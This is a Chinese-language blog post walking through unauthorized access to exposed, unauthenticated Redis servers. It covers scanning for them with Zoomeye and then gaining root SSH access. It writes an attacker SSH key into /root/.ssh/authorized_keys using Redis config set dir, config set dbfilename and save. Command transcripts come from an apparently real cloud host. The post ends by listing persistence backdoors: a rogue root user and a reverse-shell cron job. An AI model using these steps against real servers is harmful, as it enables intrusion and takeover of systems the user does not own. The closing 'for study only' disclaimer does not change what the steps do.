Redis未授权漏洞
Redis未授权漏洞利用
在项目中使用Redis的时候经常会看到很多没有配置认证, 所以 利用 利用搜索引擎 Zoomeye 做了一个小工具来扫描 线上未授权 Redis 结果如下:
扫描的脚本:
尝试连接 Redis
对上面扫描的结果尝试连接:
1 | root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000 |
能连接上,查看redis 的配置的数据备份目录:
1 | 471.94.133.68:7000> config get dir |
可以看到, 目前的配置文件是在 /etc
下,尝试切换一个目录:
1 | 471.94.133.68:7000> config set dir /root/.ssh |
发现有权限可以把目录切换到 /root/.ssh
下,这样可以就可以最开心的玩起了.
开始上传 ssh key
首先获取本机的id_rsa.pub
:
1 | root@0bee3a2311c3:~# cat /root/.ssh/id_rsa.pub |
然后把本机的key 写入到Redis
中:
首先把 key 处理一下 将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
1
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
然后把 key.txt 的内容写入到 redis中
1
cat key.txt | redis-cli -h 471.94.133.68 -p 7000 -x set crackit
查看一下是否写入成功:
1
2
3
4
5
6root@0bee3a2311c3:~# redis-cli -h 471.94.133.68 -p 7000
471.94.133.68:7000> KEYS *
1) "crackit"
471.94.133.68:7000> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIIAHbtcGP0xrtbjaMkZG+pMRd7paRau4sK2ziexXVduZcgb8kQztxtNoLLEbbyI8mXh7OkfMVob8hOuI0mJIHSGR64aJzoJ4YjDihewta22eUIxNqTu+g2SNhXjjOH6e4vSy4nKPZumj0jCZ7ldP2Nkiv42MQyC2v5XOt/w5UOleNxu6ckkAgrofTN9g8RsPt2GOjYnYJnPpeB8YxxHuG8zKWHPhd9Quk3G7r1uQd+3CyfWLY4FM33NavpstpoAgvhdRN1dOD0XQkNxMCAcNTfBIeyGWJzk2BQoGw/jC+CQ9R5I825D2LrskZybYD8q8= root@0bee3a2311c3\n\n\n\n"
471.94.133.68:7000>因为前面已经设置了
Redis
的备份路径到/root/.ssh
下了,所以直接进行如下操作:1
2
3
4
5
6471.94.133.68:7000> config set dbfilename authorized_keys
OK
471.94.133.68:7000> config get dbfilename
1) "dbfilename"
2) "authorized_keys"
471.94.133.68:7000>config set dbfilename authorized_keys
设置备份的数据库名称为authorized_keysconfig get dbfilename
查看数据库名是否正确设置最后直接在
redis
中运行save
进行数据备份 就可以把 key 写入到服务器去:1
2471.94.133.68:7000> save
OK大工告成,开启连接:
1
2
3
4
5
6root@0bee3a2311c3:~# ssh root@471.94.133.68
Last login: Thu Mar 17 15:27:35 2022 from 58.246.249.182
Welcome to Alibaba Cloud Elastic Compute Service !
预留后门
- 增加拥有
root
权限用户 - 增加反弹
shell
的定时任务 - ….
- ….
以上内容仅供学习与技术研究